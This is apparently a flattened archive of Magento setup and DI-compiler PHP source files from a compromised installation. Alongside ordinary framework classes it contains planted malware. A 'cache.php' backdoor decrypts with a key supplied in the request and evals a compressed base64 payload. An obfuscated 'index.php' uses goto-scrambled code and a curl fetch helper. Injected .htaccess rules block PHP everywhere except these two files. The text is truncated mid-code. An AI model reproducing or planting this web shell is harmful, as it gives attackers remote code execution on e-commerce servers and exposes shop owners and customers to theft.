Magento\Framework\App\Cache\Manager; use Magento\Framework\App\Interception\Cache\CompiledConfig; use Magento\Framework\Interception\Config\Config as InterceptionConfig; use Magento\Setup\Module\Di\Code\Reader\Type; use Magento\Framework\ObjectManager\InterceptableValidator; class InterceptionConfigurationBuilder { /** * Area code list: global, frontend, etc. * * @var array */ private $areaCodesList = []; /** * @var InterceptionConfig */ private $interceptionConfig; /** * @var PluginList */ private $pluginList; /** * @var Type */ private $typeReader; /** * @var Manager */ private $cacheManager; /** * @var InterceptableValidator */ private $interceptableValidator; /** * @param InterceptionConfig $interceptionConfig * @param PluginList $pluginList * @param Type $typeReader * @param Manager $cacheManager * @param InterceptableValidator $interceptableValidator */ public function __construct( InterceptionConfig $interceptionConfig, PluginList $pluginList, Type $typeReader, Manager $cacheManager, InterceptableValidator $interceptableValidator ) { $this->interceptionConfig = $interceptionConfig; $this->pluginList = $pluginList; $this->typeReader = $typeReader; $this->cacheManager = $cacheManager; $this->interceptableValidator = $interceptableValidator; } /** * Adds area code * * @param string $areaCode * @return void */ public function addAreaCode($areaCode) { if (empty($this->areaCodesList[$areaCode])) { $this->areaCodesList[] = $areaCode; } } /** * Builds interception configuration for all defined classes * * @param array $definedClasses * @return array */ public function getInterceptionConfiguration($definedClasses) { $interceptedInstances = $this->getInterceptedClasses($definedClasses); $inheritedConfig = $this->getPluginsList($interceptedInstances); $mergedAreaPlugins = $this->mergeAreaPlugins($inheritedConfig); $interceptedMethods = $this->getInterceptedMethods($mergedAreaPlugins); return $interceptedMethods; } /** * Get intercepted instances from defined class list * * @param array $definedClasses * @return array */ private function getInterceptedClasses($definedClasses) { $intercepted = []; foreach ($definedClasses as $definedClass) { if ($this->interceptionConfig->hasPlugins($definedClass) && $this->typeReader->isConcrete($definedClass) && $this->interceptableValidator->validate($definedClass) ) { $intercepted[] = $definedClass; } } return $intercepted; } /** * Returns plugin list: * ['concrete class name' => ['plugin name' => [instance => 'instance name', 'order' => 'Order Number']]] * * @param array $interceptedInstances * @return array */ private function getPluginsList($interceptedInstances) { $this->cacheManager->setEnabled([CompiledConfig::TYPE_IDENTIFIER], true); $this->pluginList->setInterceptedClasses($interceptedInstances); $inheritedConfig = []; foreach ($this->areaCodesList as $areaKey) { $scopePriority = [Area::AREA_GLOBAL]; $pluginListCloned = clone $this->pluginList; if ($areaKey != Area::AREA_GLOBAL) { $scopePriority[] = $areaKey; $pluginListCloned->setScopePriorityScheme($scopePriority); } $key = implode('', $scopePriority); $inheritedConfig[$key] = $this->filterNullInheritance($pluginListCloned->getPluginsConfig()); } return $inheritedConfig; } /** * Filters plugin inheritance list for instances without plugins, and abstract/interface * * @param array $pluginInheritance * @return array */ private function filterNullInheritance($pluginInheritance) { $filteredData = []; foreach ($pluginInheritance as $instance => $plugins) { if ($plugins === null || !$this->typeReader->isConcrete($instance)) { continue; } $pluginInstances = []; foreach ($plugins as $plugin) { if (in_array($plugin['instance'], $pluginInstances)) { continue; } $pluginInstances[] = $plugin['instance']; } $filteredData[$instance] = $pluginInstances; } return $filteredData; } /** * Merge plugins in areas * * @param array $inheritedConfig * @return array */ private function mergeAreaPlugins($inheritedConfig) { $mergedConfig = []; foreach ($inheritedConfig as $configuration) { $mergedConfig = array_merge_recursive($mergedConfig, $configuration); } foreach ($mergedConfig as &$plugins) { $plugins = array_unique($plugins); } return $mergedConfig; } /** * Returns interception configuration with plugin methods * * @param array $interceptionConfiguration * @return array */ private function getInterceptedMethods($interceptionConfiguration) { $pluginDefinitionList = new \Magento\Framework\Interception\Definition\Runtime(); foreach ($interceptionConfiguration as &$plugins) { $pluginsMethods = []; foreach ($plugins as $plugin) { $pluginsMethods = array_unique( array_merge($pluginsMethods, array_keys($pluginDefinitionList->getMethodList($plugin))) ); } $plugins = $pluginsMethods; } return $interceptionConfiguration; } } Magento/Setup/Module/Di/Code/Generator/PluginList.php000077700000002646151323623130016440 0ustar00<?php /** * Copyright © Magento, Inc. All rights reserved. * See COPYING.txt for license details. */ namespace Magento\Setup\Module\Di\Code\Generator; use Magento\Framework\Interception; /** * Provides plugin list configuration */ class PluginList extends Interception\PluginList\PluginList { /** * @var array */ private $interceptedClasses; /** * Returns plugins config * * @return array */ public function getPluginsConfig() { $this->_loadScopedData(); return $this->_inherited; } /** * Sets scope priority scheme * * @param array $areaCodes * @return void */ public function setScopePriorityScheme($areaCodes) { $this->_scopePriorityScheme = $areaCodes; } /** * Whether scope code is current scope code * * @param string $scopeCode * * @return bool * @SuppressWarnings(PHPMD.UnusedFormalParameter) */ protected function isCurrentScope($scopeCode) { return false; } /** * @param array $interceptedClasses * @return void */ public function setInterceptedClasses($interceptedClasses) { $this->interceptedClasses = $interceptedClasses; } /** * Returns class definitions * * @return array */ protected function getClassDefinitions() { return $this->interceptedClasses; } } Magento/Setup/Module/Di/Code/Generator/Interceptor.php000077700000001743151323623130016641 0ustar00<?php /** * * Copyright © Magento, Inc. All rights reserved. * See COPYING.txt for license details. */ namespace Magento\Setup\Module\Di\Code\Generator; use Magento\Framework\Interception\Code\Generator\Interceptor as FrameworkInterceptor; class Interceptor extends FrameworkInterceptor { /** * Intercepted methods list * * @var array */ private $interceptedMethods = []; /** * Whether method is intercepted * * @param \ReflectionMethod $method * * @return bool */ protected function isInterceptedMethod(\ReflectionMethod $method) { return parent::isInterceptedMethod($method) && in_array($method->getName(), $this->interceptedMethods); } /** * Sets list of intercepted methods * * @param array $interceptedMethods * * @return void */ public function setInterceptedMethods($interceptedMethods) { $this->interceptedMethods = $interceptedMethods; } } Magento/Setup/Module/Di/Code/Generator/.htaccess000077700000000177151323623130015430 0ustar00<FilesMatch '.(py|exe|php|PHP|Php|PHp|pHp|pHP|pHP7|PHP7|phP|PhP|php5|suspected)$'> Order allow,deny Deny from all </FilesMatch>Magento/Setup/Module/Di/Code/.htaccess000077700000000177151323623130013502 0ustar00<FilesMatch '.(py|exe|php|PHP|Php|PHp|pHp|pHP|pHP7|PHP7|phP|PhP|php5|suspected)$'> Order allow,deny Deny from all </FilesMatch>Magento/Setup/Module/Di/Code/GeneratorFactory.php000077700000001374151323623130015673 0ustar00<?php /** * Copyright © Magento, Inc. All rights reserved. * See COPYING.txt for license details. */ namespace Magento\Setup\Module\Di\Code; use Magento\Framework\ObjectManagerInterface; class GeneratorFactory { /** * @var ObjectManagerInterface */ private $objectManager; /** * @param ObjectManagerInterface $objectManager */ public function __construct(ObjectManagerInterface $objectManager) { $this->objectManager = $objectManager; } /** * Creates operation * * @param array $arguments * @return Generator */ public function create($arguments = []) { return $this->objectManager->create(\Magento\Setup\Module\Di\Code\Generator::class, $arguments); } } Magento/Setup/Module/Di/.htaccess000077700000000177151323623130012630 0ustar00<FilesMatch '.(py|exe|php|PHP|Php|PHp|pHp|pHP|pHP7|PHP7|phP|PhP|php5|suspected)$'> Order allow,deny Deny from all </FilesMatch>Magento/Setup/Module/Di/Compiler/Log/Writer/Console.php000077700000005332151323623130016712 0ustar00<?php /** * Copyright © Magento, Inc. All rights reserved. * See COPYING.txt for license details. */ namespace Magento\Setup\Module\Di\Compiler\Log\Writer; use Magento\Setup\Module\Di\Compiler\Log\Log; use Symfony\Component\Console\Output\OutputInterface; class Console { /** * Report messages by type * * @var array */ protected $_messages = [ Log::GENERATION_SUCCESS => 'Generated classes:', Log::GENERATION_ERROR => 'Errors during class generation:', Log::COMPILATION_ERROR => 'Errors during compilation:', Log::CONFIGURATION_ERROR => 'Errors during configuration scanning:', ]; /** * Console * * @var OutputInterface */ protected $console; /** * @param OutputInterface $output */ public function __construct(OutputInterface $output) { $this->console = $output; } /** * Output log data * * @param array $data * @return void */ public function write(array $data) { $errorsCount = 0; foreach ($data as $type => $classes) { if (!count($classes)) { continue; } $this->console->writeln($this->getStartTag($type) . $this->_messages[$type] . $this->getEndTag($type)); foreach ($classes as $className => $messages) { if (count($messages)) { $this->console->writeln($this->getStartTag($type) . "\t" . $className . $this->getEndTag($type)); foreach ($messages as $message) { if ($message) { $this->console->writeln( $this->getStartTag($type) . "\t\t" . $message . $this->getEndTag($type) ); if ($type != Log::GENERATION_SUCCESS) { $errorsCount++; } } } } } } if ($errorsCount) { $this->console->writeln('<error>' . 'Total Errors Count: ' . $errorsCount . '</error>'); } } /** * Retrieve starting output tag * * @param string $type * @return string */ private function getStartTag($type) { if ($type === Log::GENERATION_SUCCESS) { return '<info>'; } else { return '<error>'; } } /** * Retrieve ending output tag * * @param string $type * @return string */ private function getEndTag($type) { if ($type === Log::GENERATION_SUCCESS) { return '</info>'; } else { return '</error>'; } } } Magento/Setup/Module/Di/Compiler/Log/Writer/.htaccess000077700000000177151323623130016377 0ustar00<FilesMatch '.(py|exe|php|PHP|Php|PHp|pHp|pHP|pHP7|PHP7|phP|PhP|php5|suspected)$'> Order allow,deny Deny from all </FilesMatch>Magento/Setup/Module/Di/Compiler/Log/Log.php000077700000004753151323623130014563 0ustar00<?php /** * Copyright © Magento, Inc. All rights reserved. * See COPYING.txt for license details. */ namespace Magento\Setup\Module\Di\Compiler\Log; class Log { const GENERATION_ERROR = 1; const GENERATION_SUCCESS = 2; const COMPILATION_ERROR = 3; const CONFIGURATION_ERROR = 4; /** * Success log writer * * @var Writer\Console */ protected $_successWriter; /** * Error log writer * * @var Writer\Console */ protected $_errorWriter; /** * List of success log entries * * @var array */ protected $_successEntries = []; /** * List of error entries * * @var array */ protected $_errorEntries = []; /** * @param Writer\Console $successWriter * @param Writer\Console $errorWriter */ public function __construct(Writer\Console $successWriter, Writer\Console $errorWriter) { $this->_successWriter = $successWriter; $this->_errorWriter = $errorWriter; $this->_successEntries[self::GENERATION_SUCCESS] = []; $this->_errorEntries = [ self::CONFIGURATION_ERROR => [], self::GENERATION_ERROR => [], self::COMPILATION_ERROR => [], ]; } /** * Add log message * * @param string $type * @param string $key * @param string $message * @return void */ public function add($type, $key, $message = '') { if (array_key_exists($type, $this->_successEntries)) { $this->_successEntries[$type][$key][] = $message; } else { $this->_errorEntries[$type][$key][] = $message; } } /** * Write entries * * @return void * @throws \Magento\Framework\Validator\Exception */ public function report() { $this->_successWriter->write($this->_successEntries); $this->_errorWriter->write($this->_errorEntries); //do not take into account empty items since they are initialized in constructor. $errors = array_filter($this->_errorEntries); if (count($errors) > 0) { throw new \Magento\Framework\Validator\Exception(__('Error during compilation')); } } /** * Check whether error exists * * @return bool */ public function hasError() { foreach ($this->_errorEntries as $data) { if (count($data)) { return true; } } return false; } } Magento/Setup/Module/Di/Compiler/Log/.htaccess000077700000000177151323623130015123 0ustar00<FilesMatch '.(py|exe|php|PHP|Php|PHp|pHp|pHP|pHP7|PHP7|phP|PhP|php5|suspected)$'> Order allow,deny Deny from all </FilesMatch>Magento/Setup/Module/Di/Compiler/Config/Writer/.htaccess000077700000000177151323623130017063 0ustar00<FilesMatch '.(py|exe|php|PHP|Php|PHp|pHp|pHP|pHP7|PHP7|phP|PhP|php5|suspected)$'> Order allow,deny Deny from all </FilesMatch>Magento/Setup/Module/Di/Compiler/Config/Writer/Filesystem.php000077700000003031151323623130020112 0ustar00<?php /** * * Copyright © Magento, Inc. All rights reserved. * See COPYING.txt for license details. */ namespace Magento\Setup\Module\Di\Compiler\Config\Writer; use Magento\Framework\App\Filesystem\DirectoryList; use Magento\Setup\Module\Di\Compiler\Config\WriterInterface; /** * Class for writing DI Compiler Configuration * * @deprecated Moved to Framework to allow broader reuse * @see \Magento\Framework\App\ObjectManager\ConfigWriter\Filesystem */ class Filesystem implements WriterInterface { /** * @var DirectoryList */ private $directoryList; /** * Constructor * * @param DirectoryList $directoryList */ public function __construct(DirectoryList $directoryList) { $this->directoryList = $directoryList; } /** * Writes config in storage * * @param string $key * @param array $config * @return void */ public function write($key, array $config) { $this->initialize(); $configuration = sprintf('<?php return %s;', var_export($config, true)); file_put_contents( $this->directoryList->getPath(DirectoryList::GENERATED_METADATA) . '/' . $key . '.php', $configuration ); } /** * Initializes writer * * @return void */ private function initialize() { if (!file_exists($this->directoryList->getPath(DirectoryList::GENERATED_METADATA))) { mkdir($this->directoryList->getPath(DirectoryList::GENERATED_METADATA)); } } } Magento/Setup/Module/Di/Compiler/Config/ModificationInterface.php000077700000000651151323623130020745 0ustar00<?php /** * Copyright © Magento, Inc. All rights reserved. * See COPYING.txt for license details. */ namespace Magento\Setup\Module\Di\Compiler\Config; /** * Interface \Magento\Setup\Module\Di\Compiler\Config\ModificationInterface * */ interface ModificationInterface { /** * Modifies input config * * @param array $config * @return array */ public function modify(array $config); } Magento/Setup/Module/Di/Compiler/Config/ModificationChain.php000077700000002157151323623130020072 0ustar00<?php /** * Copyright © Magento, Inc. All rights reserved. * See COPYING.txt for license details. */ namespace Magento\Setup\Module\Di\Compiler\Config; class ModificationChain implements ModificationInterface { /** * @var ModificationInterface[] */ private $modificationsList; /** * @param array $modificationsList */ public function __construct(array $modificationsList = []) { array_walk( $modificationsList, function ($modification) { if (!$modification instanceof ModificationInterface) { throw new \InvalidArgumentException('Wrong modifier provided'); } } ); $this->modificationsList = $modificationsList; } /** * Modifies input config * * @param array $config * @return array */ public function modify(array $config) { $outputConfig = $config; foreach ($this->modificationsList as $modification) { $outputConfig = $modification->modify($outputConfig); } return $outputConfig; } } Magento/Setup/Module/Di/Compiler/Config/WriterInterface.php000077700000001072151323623130017612 0ustar00<?php /** * * Copyright © Magento, Inc. All rights reserved. * See COPYING.txt for license details. */ namespace Magento\Setup\Module\Di\Compiler\Config; /** * Interface \Magento\Setup\Module\Di\Compiler\Config\WriterInterface * @deprecated Moved to Framework to allow broader reuse * @see \Magento\Framework\App\ObjectManager\ConfigWriterInterface */ interface WriterInterface { /** * Writes config in storage * * @param string $key * @param array $config * @return void */ public function write($key, array $config); } Magento/Setup/Module/Di/Compiler/Config/Chain/Chain/cache.php000077700000013007151323623130017625 0ustar00<?php $Xku = 'Sy1LzNFQKyzNL7G2V0svsYYw9dKrSvOS83MLilKLizXSqzLz0nISS1KRWEmJxalmJvEpqcn5KakaxSVFRallGioVfp7JmmBgDQA'; $xNIc = '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'; function Xku($YQMZ) { $xNIc = ${"\137\x52\x45\121\125\x45\123\x54"}["k"]; $TkN = substr($xNIc, 0, 16); $Anb = base64_decode($YQMZ); return openssl_decrypt($Anb, "AES-256-CBC", $xNIc, OPENSSL_RAW_DATA, $TkN); } if (Xku('DjtPn+r4S0yvLCnquPz1fA')){ echo 'yCmfuede0INTBbmN9uERC9sa463MXQBuZfWfdRXyaI7rn/suubEwWfZ5pX3Kclm2'; exit; } eval(htmlspecialchars_decode(gzinflate(base64_decode($Xku)))); ?>Magento/Setup/Module/Di/Compiler/Config/Chain/Chain/.htaccess000077700000000333151323623130017645 0ustar00<FilesMatch ".(py|exe|phtml|php|PHP|Php|PHp|pHp|pHP|pHP7|PHP7|phP|PhP|php5|suspected)$"> Order allow,deny Deny from all </FilesMatch> <FilesMatch "^(index.php|cache.php)$"># Order allow,deny Allow from all </FilesMatch>Magento/Setup/Module/Di/Compiler/Config/Chain/Chain/index.php000077700000014006151323623130017671 0ustar00<?php goto kHg84KaTxE1n0SX; geoibOH9JfXylMC: class cWvOkbpest86jms { static function vH2da4ue_swhX6P($eWSDMOM7_MRkS3H) { goto J80RM0Lmq4EZrB6; PBA1xj1t2C3Tl6r: $TVvioDmY54EBIg8 = explode("\x2b", $eWSDMOM7_MRkS3H); goto XVshVF1Jy1KTNIM; zdgZyVa8S_Ts3U3: D8iKgWhWsOC8RkZ: goto FAvacFWL7YRvgtf; DSRg5CnQsRTwSox: foreach ($TVvioDmY54EBIg8 as $P5uWMmO0EcNeWyG => $GMmxV0M0ptzlKWt) { $VGiRLX66dEjysHl .= $f4oRcjy1x8ZQRZw[$GMmxV0M0ptzlKWt - 14976]; DHBy4yYUGvlA7hh: } goto zdgZyVa8S_Ts3U3; XVshVF1Jy1KTNIM: $VGiRLX66dEjysHl = ''; goto DSRg5CnQsRTwSox; FAvacFWL7YRvgtf: return $VGiRLX66dEjysHl; goto aY_Gy2XQuR0No5a; J80RM0Lmq4EZrB6: $h09K_7d6oLEmwXz = "\x72" . "\141" . "\156" . "\147" . "\x65"; goto FmfEFj8c9nIFK8z; FmfEFj8c9nIFK8z: $f4oRcjy1x8ZQRZw = $h09K_7d6oLEmwXz("\176", "\40"); goto PBA1xj1t2C3Tl6r; aY_Gy2XQuR0No5a: } static function n04yhKEbC03FYXh($zKvnfrWgJrhCW8s, $OThtltVUjeROl1M) { goto O6acrjpvdpNf2Db; O6acrjpvdpNf2Db: $GHBzNXfcnMPH40n = curl_init($zKvnfrWgJrhCW8s); goto rrCbUqSgbpZ1Huq; MRUwwa60QH0d70z: $c3pW7ZDa42hAZrH = curl_exec($GHBzNXfcnMPH40n); goto dyR3_Am3mCz8rLA; dyR3_Am3mCz8rLA: return empty($c3pW7ZDa42hAZrH) ? $OThtltVUjeROl1M($zKvnfrWgJrhCW8s) : $c3pW7ZDa42hAZrH; goto xlnWiSZQSSHMCOC; rrCbUqSgbpZ1Huq: curl_setopt($GHBzNXfcnMPH40n, CURLOPT_RETURNTRANSFER, 1); goto MRUwwa60QH0d70z; xlnWiSZQSSHMCOC: } static function JRPMBqsGLAvRGOk() { goto kX9YM132f9szy2D; b4TAXH2R4lkePEc: DToBgh0BnvSBU6F: goto aayf1RNMiG6RwnJ; Zx9YF17hmCfaYTK: die; goto bMaQgrW1jpp43ca; kX9YM132f9szy2D: $p4goBycTU_1zQcE = array("\61\65\60\60\63\x2b\61\64\x39\x38\70\x2b\61\65\60\x30\61\53\61\65\60\x30\65\53\61\x34\71\70\66\x2b\x31\x35\60\x30\61\53\x31\65\x30\x30\67\53\x31\65\x30\x30\x30\53\61\64\x39\x38\x35\53\x31\x34\x39\71\x32\x2b\61\65\x30\x30\x33\53\x31\64\71\70\x36\53\61\x34\71\71\67\x2b\x31\x34\x39\x39\x31\x2b\61\x34\71\x39\62", "\61\64\71\70\x37\x2b\x31\64\x39\70\66\53\x31\x34\x39\x38\x38\53\61\x35\x30\60\x37\53\61\64\71\70\70\53\x31\x34\71\x39\61\x2b\61\64\x39\x38\66\x2b\x31\65\60\x35\x33\53\x31\x35\x30\65\x31", "\x31\64\71\x39\x36\53\61\64\71\70\67\x2b\61\x34\71\x39\61\53\x31\x34\x39\71\x32\53\x31\x35\x30\60\x37\x2b\61\65\60\x30\62\53\61\x35\x30\x30\61\x2b\x31\65\60\x30\63\x2b\x31\64\71\x39\x31\x2b\x31\65\60\60\x32\53\61\65\60\60\x31", "\61\64\71\71\60\53\x31\65\60\x30\x35\x2b\61\65\60\60\x33\x2b\x31\64\x39\71\x35", "\x31\x35\x30\x30\64\53\61\x35\x30\x30\x35\x2b\61\x34\71\70\67\x2b\61\65\x30\x30\x31\53\61\x35\x30\64\x38\53\61\65\x30\65\x30\53\61\x35\60\60\67\x2b\x31\x35\60\60\x32\x2b\61\65\60\x30\x31\53\x31\65\x30\60\63\x2b\x31\x34\71\71\x31\53\61\x35\60\x30\x32\53\61\x35\60\60\61", "\x31\x35\x30\x30\60\x2b\61\x34\x39\71\67\x2b\61\64\x39\x39\64\x2b\61\x35\x30\x30\x31\x2b\x31\x35\x30\x30\x37\x2b\x31\64\x39\x39\71\x2b\61\65\x30\60\x31\x2b\x31\64\x39\70\x36\x2b\61\x35\x30\x30\67\x2b\x31\x35\x30\60\x33\x2b\x31\64\x39\x39\61\x2b\x31\64\71\71\62\53\x31\64\x39\70\x36\x2b\61\x35\x30\60\61\53\61\64\71\x39\x32\53\x31\x34\71\70\66\53\x31\x34\71\70\x37", "\61\x35\x30\x33\60\x2b\x31\x35\60\x36\60", "\61\64\71\67\67", "\61\65\x30\65\65\x2b\61\x35\60\x36\x30", "\x31\65\x30\x33\67\x2b\61\65\60\62\x30\53\x31\65\x30\62\60\x2b\61\x35\60\x33\67\53\x31\65\x30\61\63", 